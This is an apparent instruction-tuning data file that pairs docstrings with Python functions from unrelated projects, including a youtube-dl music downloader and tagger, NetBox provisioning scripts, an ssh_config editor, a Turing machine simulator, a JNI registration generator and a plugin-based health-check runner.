exit()
else:
log.log_error('Invalid Input')
exit()
return song_url, song_title
[INST] Downloads song from youtube-dl. [/INST] def download_song(song_url, song_title):
outtmpl = song_title + '.%(ext)s'
ydl_opts = {
'format': 'bestaudio/best',
'outtmpl': outtmpl,
'postprocessors': [{
'key': 'FFmpegExtractAudio',
'preferredcodec': 'mp3',
'preferredquality': '192',
},
{'key': 'FFmpegMetadata'},
],
}
with youtube_dl.YoutubeDL(ydl_opts) as ydl:
info_dict = ydl.extract_info(song_url, download=True)
[INST] Improves file name by removing crap words. [/INST] def songname(song_name):
try:
song_name = splitext(song_name)[0]
except IndexError:
pass
chars_filter = "()[]{}-:_/=+\"\'"
words_filter = ('official', 'lyrics', 'audio', 'remixed', 'remix', 'video',
'full', 'version', 'music', 'mp3', 'hd', 'hq', 'uploaded')
song_name = ''.join(map(lambda c: " " if c in chars_filter else c, song_name))
song_name = re.sub('|'.join(re.escape(key) for key in words_filter),
"", song_name, flags=re.IGNORECASE)
song_name = re.sub(' +', ' ', song_name)
return song_name.strip()
[INST] Provides a score out of 10 that determines the
relevance of the search result. [/INST] def matching_details(song_name, song_title, artist):
match_name = difflib.SequenceMatcher(None, song_name, song_title).ratio()
match_title = difflib.SequenceMatcher(None, song_name, artist + song_title).ratio()
if max(match_name,match_title) >= 0.55:
return True, max(match_name,match_title)
else:
return False, (match_name + match_title) / 2
[INST] Adds the album art to the song. [/INST] def add_albumart(albumart, song_title):
try:
img = urlopen(albumart)
except Exception:
log.log_error("* Could not add album art", indented=True)
return None
audio = EasyMP3(song_title, ID3=ID3)
try:
audio.add_tags()
except _util.error:
pass
audio.tags.add(
APIC(
encoding=3,
mime='image/png',
type=3,
desc='Cover',
data=img.read()
)
)
audio.save()
log.log("> Added album art")
[INST] Searches for '.mp3' files in directory (optionally recursive)
and checks whether they already contain album art and album name tags or not.. [/INST] def fix_music(file_name):
setup()
if not Py3:
file_name = file_name.encode('utf-8')
tags = File(file_name)
log.log(file_name)
log.log('> Adding metadata')
try:
artist, album, song_name, lyrics, match_bool, score = get_details_spotify(
file_name)
except Exception:
artist, album, song_name, lyrics, match_bool, score = get_details_letssingit(
file_name)
try:
log.log_indented('* Trying to extract album art from Google.com')
albumart = albumsearch.img_search_google(artist+' '+album)
except Exception:
log.log_indented('* Trying to extract album art from Bing.com')
albumart = albumsearch.img_search_bing(artist+' '+album)
if match_bool:
add_albumart(albumart, file_name)
add_details(file_name, song_name, artist, album, lyrics)
try:
rename(file_name, artist+' - '+song_name+'.mp3')
except Exception:
log.log_error("Couldn't rename file")
pass
else:
log.log_error(
"* Couldn't find appropriate details of your song", indented=True)
log.log("Match score: %s/10.0" % round(score * 10, 1))
log.log(LOG_LINE_SEPERATOR)
log.log_success()
[INST] Provision the config context based on the json file present in the config-contexts folder.
Uses the json filename as config context name. Applies it to the roles leaf and spine.
Limitation: Do not update the Config context if the content of the json file change.. [/INST] def provision_config_context():
for file in glob.glob('config-contexts/*.json'):
with open(file) as json_data:
ccdata = json.load(json_data)
ccname= os.path.basename(file).split(".")[0]
get_or_create(nb.extras.config_contexts, search='name', name=ccname, data= ccdata, roles=[role_leaf.id,role_spine.id])
[INST] Converts dirty strings into something URL-friendly.
FYI - Ordering is important.. [/INST] def slugify(s):
s = s.lower()
for c in [' ', '-', '.', '/']:
s = s.replace(c, '_')
s = re.sub(r'\W', '', s)
s = s.replace('_', ' ')
s = re.sub(r'\s+', ' ', s)
s = s.strip()
s = s.replace(' ', '-')
return s
[INST] Uses ruamel.yaml to load YAML files.. [/INST] def load_yaml(yaml_file: str):
yf = Path(yaml_file)
if not yf.is_file():
return None
with yf.open("r") as stream:
yaml = YAML(typ="safe")
return yaml.load(stream)
[INST] Runs multiple checks to see if the device type already exists in NetBox.. [/INST] def device_type_exists(device_type):
try:
print(f"Checking if {device_type['model']} exists")
_slug = slugify(device_type['model'])
if nb.dcim.device_types.filter(model=device_type['model']):
print(f"Found device_type dict {device_type['model']}")
return True
elif nb.dcim.device_types.get(model=device_type['model']):
print(f"Found device_type name {device_type['model']}")
return True
elif nb.dcim.device_types.get(slug=device_type['slug']):
print(f"Found device_type slug {device_type['slug']}")
return True
elif nb.dcim.device_types.get(slug=_slug):
print(f"Found device_type _slug {_slug}")
return True
else:
return False
except Exception as e:
raise DeviceTypeLookupError(f"Error for {device_type}: {e}")
[INST] Validates and modifies data before inserting in NetBox.. [/INST] def validate_device_data(device_type):
if not isinstance(device_type, dict):
raise DeviceTypeValidationError(f"Validation FAILED for {device_type}: \
{type(device_type)} is not a dict")
man = device_type['manufacturer']
man_id = get_or_create_manufacturer(man)
device_type['manufacturer'] = man_id
return device_type
[INST] Validates and verifies the device type before inserting in NetBox.. [/INST] def process_device_type(device_type):
device_type = validate_device_data(device_type)
does_exist = device_type_exists(device_type)
if does_exist is False:
print(f"Adding new device-type {device_type['model']}")
nb.dcim.device_types.create(device_type)
else:
print(f"Already a device_type: {device_type['model']}")
print(f"Checking for templates: {device_type['model']}")
process_templates(device_type)
[INST] Process a YAML file for importing to NetBox.. [/INST] def process_yaml(yml_file):
device_type = load_yaml(yml_file)
process_device_type(device_type)
[INST] Remove a host entry or specific options in a host entry.. [/INST] def remove(self, host, *options):
if len(options) == 0:
del self[host]
else:
entry = self.get(host)
entry.remove(*options)
if len(entry) == 0:
self.remove(host)
[INST] Save the configuration somewhere safe.. [/INST] def save(self, dest):
if (isinstance(dest, file)):
dest.write(str(self))
elif isinstance(dest, str):
f = open(dest, "w")
f.write(str(self))
f.close()
else:
raise TypeError("Argument is not a file or str")
[INST] Get the priority of this host entry. This is used for ordering in
the eventual ssh_config.. [/INST] def priority(self):
return self.__priority
[INST] Converts the SshConfigEntry to a dict.. [/INST] def to_dict(self):
l = {}
l.update(self.__options)
return l
[INST] Calculate the new state of the machine after a character.
Returns the transition object which contains a 3-tuple of:
The new state, the output letter and the direction to move on
the tape. [/INST] def calc(self, character):
return self.transitions[character]
[INST] Updates the tape to allow experimentation with the TM. [/INST] def new_tape(self, tape):
self._update_tape(tape)
self._update_current_state(self._start_state)
assert self._reset_loops >= 0
self.MAX_LOOPS = self._reset_loops
[INST] Internal method for updating the tape. [/INST] def _update_tape(self, tape):
self.tape_position = 0
if self.tape != None:
self.tape.clear()
assert(len(self.tape) == 0)
if isinstance(tape, list):
self.tape = [str(c) for c in tape]
elif type(tape) is str:
self.tape = [c for c in tape]
elif type == None:
self.tape = []
else:
raise ValueError("Tape has to be a list of symbols or a String (or Nothing)")
self.tape.append(self.EMPTY_SYMBOL)
[INST] Internal method for updating the accept state
Generally it is advised that this is not changed at once the
machine has began. [/INST] def _update_accept_state(self, accept_state):
assert accept_state != None
TuringMachine._test_state(accept_state)
self.accept_state = accept_state
[INST] Internal method for updating the reject state
Generally it is advised that this is not changed at once the
machine has began. [/INST] def _update_reject_state(self, reject_state):
TuringMachine._test_state(reject_state)
self.reject_state = reject_state
[INST] Internal method for updating the start state.
Can only be update ONCE upon CREATION OF THE TM.. [/INST] def _update_start_state(self, start_state):
assert self._start_state == None
TuringMachine._test_state(start_state)
self._start_state = start_state
[INST] Compute the result after the next symbol. [/INST] def _read(self, symbol):
self.MAX_LOOPS = self.MAX_LOOPS - 1
t = self.current_state.calc(symbol)
self._move_tape(t.output_letter, t.movement_direction)
self._update_current_state(t.new_state)
[INST] Checks if path is a directory.. [/INST] def is_directory(dir_path):
isdir = os.path.isdir(dir_path)
logger.debug("Path specified %s", dir_path)
return isdir
[INST] Generates files required to perform JNI registration.
Generates a srcjar containing a single class, GEN_JNI, that contains all
native method declarations.
Optionally generates a header file that provides functions
(RegisterMainDexNatives and RegisterNonMainDexNatives) to perform
JNI registration.. [/INST] def _Generate(java_file_paths,
srcjar_path,
proxy_opts,
header_path=None,
namespace=''):
results = []
with multiprocessing.Pool() as pool:
for d in pool.imap_unordered(
functools.partial(_DictForPath, use_proxy_hash=proxy_opts.use_hash),
java_file_paths):
if d:
results.append(d)
results.sort(key=lambda d: d['FULL_CLASS_NAME'])
combined_dict = {}
for key in MERGEABLE_KEYS:
combined_dict[key] = ''.join(d.get(key, '') for d in results)
if header_path:
combined_dict['HEADER_GUARD'] = \
os.path.splitext(header_path)[0].replace('/', '_').upper() + '_'
combined_dict['NAMESPACE'] = namespace
header_content = CreateFromDict(combined_dict, proxy_opts.use_hash)
with build_utils.AtomicOutput(header_path, mode='w') as f:
f.write(header_content)
with build_utils.AtomicOutput(srcjar_path) as f:
with zipfile.ZipFile(f, 'w') as srcjar:
if proxy_opts.use_hash:
build_utils.AddToZipHermetic(
srcjar,
'%s.java' % jni_generator.ProxyHelpers.GetQualifiedClass(True),
data=CreateProxyJavaFromDict(combined_dict, proxy_opts))
build_utils.AddToZipHermetic(
srcjar,
'%s.java' % jni_generator.ProxyHelpers.GetQualifiedClass(False),
data=CreateProxyJavaFromDict(
combined_dict, proxy_opts, forwarding=True))
else:
build_utils.AddToZipHermetic(
srcjar,
'%s.java' % jni_generator.ProxyHelpers.GetQualifiedClass(False),
data=CreateProxyJavaFromDict(combined_dict, proxy_opts))
[INST] Add the content of the forward declaration to the dictionary.. [/INST] def _AddForwardDeclaration(self):
template = string.Template("""\
JNI_GENERATOR_EXPORT ${RETURN} ${STUB_NAME}(
JNIEnv* env,
${PARAMS_IN_STUB});
""")
forward_declaration = ''
for native in self.natives:
value = {
'RETURN': jni_generator.JavaDataTypeToC(native.return_type),
'STUB_NAME': self.helper.GetStubName(native),
'PARAMS_IN_STUB': jni_generator.GetParamsInStub(native),
}
forward_declaration += template.substitute(value)
self._SetDictValue('FORWARD_DECLARATIONS', forward_declaration)
[INST] Add the body of the RegisterNativesImpl method to the dictionary.. [/INST] def _AddRegisterNativesCalls(self):
if len(self.non_proxy_natives) == 0:
return ''
template = string.Template("""\
if (!${REGISTER_NAME}(env))
return false;
""")
value = {
'REGISTER_NAME':
jni_generator.GetRegistrationFunctionName(self.fully_qualified_class)
}
register_body = template.substitute(value)
if self.main_dex:
self._SetDictValue('REGISTER_MAIN_DEX_NATIVES', register_body)
else:
self._SetDictValue('REGISTER_NON_MAIN_DEX_NATIVES', register_body)
[INST] Returns the implementation of the array of native methods.. [/INST] def _AddJNINativeMethodsArrays(self):
template = string.Template("""\
static const JNINativeMethod kMethods_${JAVA_CLASS}[] = {
${KMETHODS}
};
""")
open_namespace = ''
close_namespace = ''
if self.namespace:
parts = self.namespace.split('::')
all_namespaces = ['namespace %s {' % ns for ns in parts]
open_namespace = '\n'.join(all_namespaces) + '\n'
all_namespaces = ['} // namespace %s' % ns for ns in parts]
all_namespaces.reverse()
close_namespace = '\n'.join(all_namespaces) + '\n\n'
body = self._SubstituteNativeMethods(template)
self._SetDictValue('JNI_NATIVE_METHOD_ARRAY', ''.join((open_namespace, body,
close_namespace)))
[INST] Returns KMethodString for wrapped native methods in all_classes. [/INST] def _AddProxyNativeMethodKStrings(self):
if self.main_dex:
key = 'PROXY_NATIVE_METHOD_ARRAY_MAIN_DEX'
else:
key = 'PROXY_NATIVE_METHOD_ARRAY'
proxy_k_strings = ('\n'.join(
self._GetKMethodArrayEntry(p) for p in self.proxy_natives))
self._SetDictValue(key, proxy_k_strings)
[INST] Substitutes NAMESPACE, JAVA_CLASS and KMETHODS in the provided
template.. [/INST] def _SubstituteNativeMethods(self, template, sub_proxy=False):
ret = []
all_classes = self.helper.GetUniqueClasses(self.natives)
all_classes[self.class_name] = self.fully_qualified_class
for clazz, full_clazz in all_classes.items():
if not sub_proxy:
if clazz == jni_generator.ProxyHelpers.GetClass(self.use_proxy_hash):
continue
kmethods = self._GetKMethodsString(clazz)
namespace_str = ''
if self.namespace:
namespace_str = self.namespace + '::'
if kmethods:
values = {
'NAMESPACE': namespace_str,
'JAVA_CLASS': jni_generator.EscapeClassName(full_clazz),
'KMETHODS': kmethods
}
ret += [template.substitute(values)]
if not ret: return ''
return '\n'.join(ret)
[INST] Returns the implementation of the array of native methods.. [/INST] def GetJNINativeMethodsString(self):
template = string.Template("""\
static const JNINativeMethod kMethods_${JAVA_CLASS}[] = {
${KMETHODS}
};
""")
return self._SubstituteNativeMethods(template)
[INST] Returns the code for RegisterNatives.. [/INST] def _AddRegisterNativesFunctions(self):
natives = self._GetRegisterNativesImplString()
if not natives:
return ''
template = string.Template("""\
JNI_REGISTRATION_EXPORT bool ${REGISTER_NAME}(JNIEnv* env) {
${NATIVES}\
return true;
}
""")
values = {
'REGISTER_NAME':
jni_generator.GetRegistrationFunctionName(self.fully_qualified_class),
'NATIVES':
natives
}
self._SetDictValue('JNI_NATIVE_METHOD', template.substitute(values))
[INST] Returns the shared implementation for RegisterNatives.. [/INST] def _GetRegisterNativesImplString(self):
template = string.Template("""\
const int kMethods_${JAVA_CLASS}Size =
base::size(${NAMESPACE}kMethods_${JAVA_CLASS});
if (env->RegisterNatives(
${JAVA_CLASS}_clazz(env),
${NAMESPACE}kMethods_${JAVA_CLASS},
kMethods_${JAVA_CLASS}Size) < 0) {
jni_generator::HandleRegistrationError(env,
${JAVA_CLASS}_clazz(env),
__FILE__);
return false;
}
""")
if len(self.non_proxy_natives) != 0:
return self._SubstituteNativeMethods(template)
return ''
[INST] Applies tuple fields (name, value) to xml.
Both items must be not None to show in attribute list.. [/INST] def _open_tag(self, indent_lvl=0, **kwargs):
return self._sub(
self._crlf + "{i}<{name}".format(i=self._indent * indent_lvl,
name=self._tag_name)
+ ''.join(' {name}="{val}"'.format(name=name, val=val)
for (name, val) in self._fields
if val is not None)
+ '>', **kwargs)
[INST] Will add text or another (arbitrary complex) XmlBuilder as children of element.. [/INST] def innerText(self, child):
self._children.append(child)
return self
[INST] Recursively converts self and all children to xml.. [/INST] def dump(self, indent_lvl=0, **kwargs):
dumped_children = []
for child in filter(None, self._children):
if isinstance(child, XmlBuilder):
dumped_children.append(child.dump(indent_lvl=(indent_lvl + 1),
**kwargs))
else:
dumped_children.append("{child}".format(child=self._sub(child,
**kwargs)))
if self._tag_name:
return (self._open_tag(indent_lvl, **kwargs)
+ ''.join(dumped_children)
+ self._close_tag(indent_lvl, **kwargs))
return ''.join(dumped_children)
[INST] Provided data (from plugins dictionary) and walking template, get all valid
items and convert it to jUnit xml representation.
Function have sane defaults (depends on calee opinion).. [/INST] def plugins_to_xml(dict_data,
yaml_filename=None,
yaml_data=default_config.YAML_CONFIG,
dict_templates=['All'],
additional_fields='AdditionalFields',
ts_attr='HtmlTestSuiteAttr',
tc_attr='HtmlTestCaseAttr',
tc_elem='HtmlTestCaseElem'):
def _apply(inst, custom_dict=None, **kwargs):
applied_args = {}
if custom_dict:
for k, v in custom_dict.items():
applied_args[k] = getattr(inst, v)
for k, v in kwargs.items():
applied_args[k] = getattr(inst, v)
return applied_args
if yaml_filename:
with open(yaml_filename) as f:
C = yaml.safe_load(f)
else:
C = yaml.safe_load(yaml_data)
results = {}
for template in dict_templates:
results[template] = rows.create(data=dict_data,
template=C[template],
additional_fields=C[additional_fields])
ts_data = {}
for res in results.keys():
ts_data[res] = collections.defaultdict(list)
ts_res = ts_data[res]
for row in results[res]:
ts_res[row.Node].append(row)
junit_xml = XmlBuilder()
for template_name, ts in ts_data.items():
with junit_xml.testsuites as html_tss:
html_tss(name=template_name)
for _node, tcs in ts.items():
with html_tss.testsuite as html_ts:
first = tcs[0] if tcs else None
if first:
html_ts(custom_dict=_apply(first,
custom_dict=C[ts_attr]))
for tc in tcs:
html_tc = html_ts.testcase(
custom_dict=_apply(tc, custom_dict=C[tc_attr]))
if tc.CaseStatus:
distinguisher = tc.CaseStatus
else:
distinguisher = tc.PluginStatus
if not tc.CaseName:
html_tc.name = tc.Plugin
if distinguisher == 'ERROR':
if tc.MsgError:
html_tc.error(message=escape(
list_to_string(tc.MsgError), quote=1))
else:
html_tc.error()
elif distinguisher == 'WARN':
out = html_tc.__getattr__('system-out')
if tc.MsgWarn:
out.__setattr__('message', escape(
list_to_string(tc.MsgWarn), quote=1))
return junit_xml.dump()
[INST] Stop all plugins
Wait until they are stopped if blocking=True. [/INST] def stop(self, blocking=True):
self.stopping = True
for plugin in self.plugins.values():
if plugin.current_run:
plugin.current_run.stop()
plugin.current_run.terminate()
if blocking:
plugins_left = self.plugins.keys()
plugins_left_cnt = len(plugins_left)
while plugins_left:
plugins_left = []
for name, plugin in self.plugins.items():
if not plugin.current_run:
continue
if plugin.current_run.is_alive():
plugins_left.append(name)
else:
plugin.current_run.join()
if plugins_left:
if len(plugins_left) != plugins_left_cnt:
lg.info("Waiting for %s plugins to shutdown: %s" % (len(plugins_left), ','.join(plugins_left)))
plugins_left_cnt = len(plugins_left)
time.sleep(0.5)
[INST] Add process and force plugin run. [/INST] def add_process(self, plugins=None, filter=None):
plugins_list = []
if plugins:
for plugin in plugins:
plugins_list.append(self.get_plugin(plugin))
if filter:
plugins_list.extend(self.get_plugins(filter))
if len(plugins_list) == 0:
raise NoPluginsFound
process = {
'plugins' : plugins_list,
}
plugins_name = []
for p in plugins_list:
plugins_name.append(p.name)
lg.info("Forcing run of %d plugins: %s" % (len(plugins_list), ', '.join(plugins_name)))
self.processes.append(process)
id = len(self.processes)-1
for plugin in plugins_list:
plugin.forced = True
plugin.forced_result = None
plugin.run()
return id
[INST] Start run of plugins configured as such. [/INST] def run_plugins_with_interval(self):
for plugin in self.plugins.values():
if not plugin.params['Interval']:
continue
plugin.run()
[INST] Join zombie workers of interval-triggered runs
The results will be picked by REST server forked ends of the queues. [/INST] def join_timed_plugin_workers(self):
for plugin in self.plugins.values():
if not plugin.params['Interval']:
continue
if plugin.current_run:
plugin.current_run.join()
plugin.current_run = None
[INST] Validate configuration
Raise InvalidConfiguration exception if invalid. [/INST] def validate(self):
if self.params['Timeout'] <= 0:
raise InvalidConfiguration("Timeout parameter can't be 0")
if not self.params['Command'] and not self.params['Module']:
raise InvalidConfiguration("Command or Module parameter has to be set")
if self.params['Command'] and self.params['Module']:
raise InvalidConfiguration("Command and Module parameters cannot be set together")
if not self.params['Command'] and self.params['Parser']:
raise InvalidConfiguration("Parser can be used only with Command parameter")
[INST] Run process
Check if plugin should be run and execute it. [/INST] def run(self):
if self.current_run:
if self.current_run.is_alive():
return
self.current_run.join()
if self.forced:
self.current_run = PluginWorker(self.name, self.queue, self.params,
self.forced)
self.current_run.start()
elif self.params['Interval']:
if datetime.datetime.now() >= self.next_run:
self.current_run = PluginWorker(self.name, self.queue,
self.params)
self.current_run.start()
self.schedule_run()
[INST] Schedule next plugin run
Accept datetime object as time parameter or set
current time if now parameter is True. [/INST] def schedule_run(self, time=None, now=False):
if time:
if isinstance(time, datetime.datetime):
self.next_run = time
else:
raise InvalidArgument(
'Parameter time has to be an instance of datetime object')
elif now:
self.next_run = datetime.datetime.now()
elif self.params['Interval']:
self.next_run = (
datetime.datetime.now() +
datetime.timedelta(seconds=self.params['Interval']))
[INST] Run system command and parse output. [/INST] def run_command(self, command, timeout=0):
result = Result()
lg.debug("Plugin %s: executing command %s" % (self.name, command))
try:
stdout, stderr, returncode = smoker.util.command.execute(
command, timeout=timeout)
except smoker.util.command.ExecutionTimeout as e:
raise PluginExecutionTimeout(e)
except Exception as e:
lg.exception(e)
raise PluginExecutionError(
"Can't execute command %s: %s" % (command, e))
if returncode:
status = 'ERROR'
else:
status = 'OK'
if self.params['Parser']:
try:
result = self.run_parser(stdout, stderr)
except Exception as e:
result.set_status('ERROR')
result.add_error(re.sub('^\n', '', stderr.strip()))
result.add_error('Parser run failed: %s' % e)
result.add_info(re.sub('^\n', '', stdout.strip()))
else:
json = None
try:
json = simplejson.loads(stdout)
except:
pass
if json:
if 'status' in json and json['status'] in [ 'OK', 'ERROR', 'WARN' ]:
try:
result.set_result(json, validate=True)
except ValidationError as e:
raise PluginMalformedOutput("Invalid JSON structure: %s" % e)
else:
raise PluginMalformedOutput("Missing status in JSON output: %s" % json)
else:
lg.debug("Plugin %s: using non-JSON output" % self.name)
result.set_status(status)
if stderr:
result.add_error(re.sub('^\n', '', stderr.strip()))
if stdout:
result.add_info(re.sub('^\n', '', stdout.strip()))
return result
[INST] Run parser on given stdout/stderr
Raise exceptions if anything happen. [/INST] def run_parser(self, stdout, stderr):
lg.debug("Plugin %s: running parser %s" % (self.name, self.params['Parser']))
if stdout:
lg.debug("Plugin %s: stdout: %s" % (self.name, stdout.strip()))
if stderr:
lg.debug("Plugin %s: stderr: %s" % (self.name, stderr.strip()))
try:
parser = __import__(self.params['Parser'], globals(), locals(), ['Parser'], 0)
except ImportError as e:
lg.error("Plugin %s: can't load parser %s: %s" % (self.name, self.params['Parser'], e))
raise
try:
parser = parser.Parser(stdout, stderr)
except Exception as e:
lg.error("Plugin %s: can't initialize parser: %s" % (self.name, e))
lg.exception(e)
raise
try:
result = parser.parse()
except Exception as e:
lg.error("Plugin %s: parser execution failed: %s" % (self.name, e))
lg.exception(e)
raise
return result
[INST] Run Python module
Raise exceptions if anything happen. [/INST] def run_module(self, module, **kwargs):
lg.debug("Plugin %s: running module %s" % (self.name, module))
try:
plugin = __import__(module, globals(), locals(), ['Plugin'], 0)
except ImportError as e:
lg.error("Plugin %s: can't load module %s: %s" %
(self.name, module, e))
raise
try:
plugin = plugin.Plugin(self, **kwargs)
except Exception as e:
lg.error("Plugin %s: can't initialize plugin module: %s" %
(self.name, e))
lg.exception(e)
raise
signal.signal(signal.SIGALRM, alarm_handler)
if 'timeout' not in kwargs:
kwargs['timeout'] = self.get_param('Timeout', default=120)
try:
signal.alarm(kwargs['timeout'])
result = plugin.run()
if not result:
result = plugin.result
except PluginExecutionTimeout:
result = self.error_result(
'Plugin execution exceeded timeout %d seconds' %
kwargs['timeout'])
except Exception as e:
lg.error("Plugin %s: module execution failed: %s" % (self.name, e))
lg.exception(e)
signal.alarm(0)
raise
signal.alarm(0)
return result
[INST] Run plugin, save result and schedule next run. [/INST] def run_plugin(self, force=False):
if self.params['Command']:
command = self.params['Command'] % self.escape(dict(self.params))
try:
result = self.run_command(command, self.params['Timeout'])
except Exception as e:
lg.error("Plugin %s: %s" % (self.name, e))
result = self.error_result(e)
elif self.params['Module']:
try:
result = self.run_module(self.params['Module'])
except Exception as e:
lg.error("Plugin %s: %s" % (self.name, e))
result = self.error_result(
re.sub('^\n', '', ('%s' % e).strip()))
else:
lg.error("Plugin %s: no Command or Module to execute!" % self.name)
result = self.error_result('No Command or Module to execute!')
if self.params['Action']:
lg.debug("Plugin %s: executing action" % self.name)
if self.params['Action']['Command']:
params = dict(self.params, **result.result)
params = self.escape(params)
try:
action = self.run_command(
self.params['Action']['Command'] %
params, timeout=self.params['Action']['Timeout'])
except Exception as e:
lg.error("Plugin %s: %s" % (self.name, e))
action = self.error_result(e)
elif self.params['Action']['Module']:
try:
action = self.run_module(
self.params['Action']['Module'], result=result)
except Exception as e:
lg.error("Plugin %s: %s" % (self.name, e))
action = self.error_result(e)
else:
lg.error("Plugin %s: no Action Command or Module to execute!" %
self.name)
action = self.error_result('No Command or Module to execute!')
result.set_action(action)
result.set_forced(force)
try:
self.result = result.get_result()
except ValidationError as e:
lg.error("Plugin %s: ValidationError: %s" % (self.name, e))
result = self.error_result('ValidationError: %s' % e)
result.set_forced(force)
self.result = result.get_result()
lg.info("Plugin %s result: %s" % (self.name, result.get_result()))
[INST] Escape given string, dictionary or list
If int, None or bool item is found, just pass
Also pass if item can't be escaped by some other reason
Raise exception if unknown data type. [/INST] def escape(self, tbe):
if isinstance(tbe, dict):
escaped = {}
for key, value in tbe.items():
if type(value) in [int, type(None), bool]:
escaped[key] = value
else:
try:
escaped[key] = re.escape(value)
except:
escaped[key] = value
elif isinstance(tbe, basestring):
try:
escaped = re.escape(tbe)
except:
escaped = tbe
elif isinstance(tbe, int) or isinstance(tbe, bool):
escaped = tbe
elif isinstance(tbe, list):
escaped = []
for value in tbe:
if type(value) in [int, type(None), bool]:
escaped.append(value)
else:
try:
escaped.append(re.escape(value))
except:
escaped.append(value)
else:
raise Exception("Unknown data type")
return escaped
[INST] close unnecessary open sockets cloned on fork. [/INST] def close_unnecessary_sockets(self):
open_sockets = list()
allowed = ['socket.socket', 'socket._socketobject']
for x in gc.get_objects():
if any(t for t in allowed if t in repr(type(x))):
open_sockets.append(x)
for cur_socket in open_sockets:
if cur_socket.type == socket.SOCK_STREAM:
cur_socket.close()
[INST] Add message into result
Empty messages are skipped
don't split message lines into
multiple messages. [/INST] def add_msg(self, level, msg, multiline=False):
if not self.result['messages']:
self.result['messages'] = {
'info' : [],
'error': [],
'warn' : [],
}
if not multiline:
messages = str(msg).split('\n')
else:
messages = [str(msg)]
for message in messages:
if not str(msg).strip():
continue
try:
self.result['messages'][level].append(str(message).strip())
except KeyError:
raise InvalidArgument("Level has to be info, error or warn")
[INST] Validate result
Skip if it was already validated to avoid
unwanted re-validation. [/INST] def validate(self, force=False):
if force != True and self.validated == True:
return True
else:
try:
self._validate_status(self.result['status'])
self._validate_msg(self.result['messages'])
self._validate_component_result(self.result['componentResults'])
self._validate_action(self.result['action'])
finally:
self.validated = True
[INST] Execute smoker.util.command.execute() with timeout (default 120 seconds)
You shouldn't use anything else than this function from inside plugins!. [/INST] def execute(self, command, **kwargs):
if 'timeout' not in kwargs:
kwargs['timeout'] = self.plugin.get_param('Timeout', default=120)
return smoker.util.command.execute(command, **kwargs)
[INST] Convert next run timestamp object to the ISO format. [/INST] def next_run_iso_format(next_run):
if isinstance(next_run, bool):
next_run = None
else:
next_run = next_run.isoformat()
return next_run
[INST] Convert result dict to list just to have standardized API. [/INST] def standardized_api_list(component):
keyword = 'componentResults'
if (not isinstance(component, dict) or
keyword not in component or
not component[keyword]):
return component
results = dict(component)
results[keyword] = []
for key, value in component[keyword].items():
value['name'] = key
results[keyword].append({'componentResult': value})
return results
[INST] Print information about set of plugins. [/INST] def print_plugins(plugins, forced=False):
plugins_result = []
for plugin in plugins:
plugins_result.append(print_plugin(plugin, forced))
return {'plugins': {'items': plugins_result}}
[INST] Format json info about process in progress. [/INST] def print_in_progress(id):
location = '/processes/%d' % id
data = {
'asyncTask': {
'link': {
'poll': location
}
}
}
response = make_response(json.dumps(data, indent=2))
response.status = 'Accepted'
response.status_code = 202
response.headers['Location'] = location
response.headers['content-type'] = 'application/json'
return response
[INST] Execute command, wrapper for Command class. [/INST] def execute(command, timeout=None, **kwargs):
cmd = Command(command, **kwargs)
return cmd.run(timeout)
[INST] Send signal to whole process tree
By default send SIGTERM (15).
If process doesn't exist, just pass. [/INST] def signal_ptree(pid, signal=15):
try:
process = psutil.Process(pid)
except psutil.NoSuchProcess:
return
children = get_ptree(process)
lg.info('Sending signal to process tree: signal=%s pid=%s process=%s children=%s' % (signal, process.pid, process.name, len(children)))
if children:
for child in children:
try:
lg.info('Sending signal to child process: signal=%s pid=%s process=%s' % (signal, child.pid, child.name))
os.kill(child.pid, signal)
except OSError as e:
if e.errno == 3:
lg.debug('Children process does not exist: pid=%s process=%s' % (child.pid, child.name))
continue
try:
lg.info('Sending signal to parent process: signal=%s pid=%s process=%s' % (signal, process.pid, process.name))
os.kill(process.pid, signal)
except OSError as e:
if e.errno == 3:
lg.debug('Parent process does not exist: pid=%s process=%s' % (process.pid, process.name))
pass
[INST] Register cleanup function for given process id. [/INST] def _register_cleanup(pid):
lg.debug("Registering cleanup for pid %s" % pid)
atexit.register(_proc_cleanup, pid)
[INST] Unregister cleanup function for given process id. [/INST] def _unregister_cleanup(pid):
lg.debug("Unregistering cleanup for pid %s" % pid)
if _PY3:
atexit.unregister(_proc_cleanup)
return
for handler in atexit._exithandlers:
(func, args, kwargs) = handler
if func == _proc_cleanup and args == (pid,):
atexit._exithandlers.remove(handler)
[INST] Run command with given timeout.
Return tuple of stdout, stderr strings and retval integer.. [/INST] def run(self, timeout=None, timeout_sigterm=3, timeout_sigkill=5):
def target():
try:
self.process = subprocess.Popen(self.command, **self.kwargs)
_register_cleanup(self.process.pid)
self.stdout, self.stderr = self.process.communicate()
self.stdout = self.stdout.decode('utf-8').strip() if self.stdout else ''
self.stderr = self.stderr.decode('utf-8').strip() if self.stderr else ''
self.returncode = self.process.returncode
except Exception as e:
self._exception = e
return e
thread = threading.Thread(target=target)
lg.debug("Executing command: command='%s' %s"
% (self.command, ' '.join('%s=%s' % (a, b) for a, b in self.kwargs.items())))
time_start = datetime.datetime.now()
thread.start()
if timeout:
thread.join(timeout)
if thread.is_alive():
signal_ptree(self.process.pid)
thread.join(timeout_sigterm)
if thread.is_alive():
signal_ptree(self.process.pid, signal=9)
thread.join(timeout_sigkill)
if thread.is_alive():
_unregister_cleanup(self.process.pid)
raise ThreadDeadlock("Process %s deadlocked thread %s" % (self.process.pid, thread.name))
_unregister_cleanup(self.process.pid)
raise ExecutionTimeout("Execution timeout after %s seconds" % timeout)
else:
thread.join()
if self._exception:
_unregister_cleanup(self.process.pid)
raise self._exception
lg.debug("Command execution done: time=%s returncode=%s" %
((datetime.datetime.now() - time_start).seconds, self.returncode))
_unregister_cleanup(self.process.pid)
return (self.stdout, self.stderr, self.returncode)
[INST] Main entrance
check peers status
check volumes status
try to mount and unmount volume. [/INST] def run(self):
volume = self.plugin.get_param('Volume')
try:
self.check_peers()
except Exception as e:
self.result.add_component('Peers', 'ERROR', error=["Can't check peers: %s" % e])
lg.exception(e)
try:
self.check_volumes()
except Exception as e:
self.result.add_component('Volumes', 'ERROR', error=["Can't check volumes: %s" % e])
lg.exception(e)
if volume:
try:
self.mount(volume)
except Exception as e:
self.result.add_component('Mount', 'ERROR', error=["Can't mount volume: %s" % e])
lg.exception(e)
self.result.set_status()
return self.result
[INST] Check peers status
and add component result. [/INST] def check_peers(self):
peers = self.getPeersStatus()
status = 'OK'
messages = {
'info' : [],
'error': [],
'warn' : [],
}
for host, peer in peers.items():
if peer['connected'] == True:
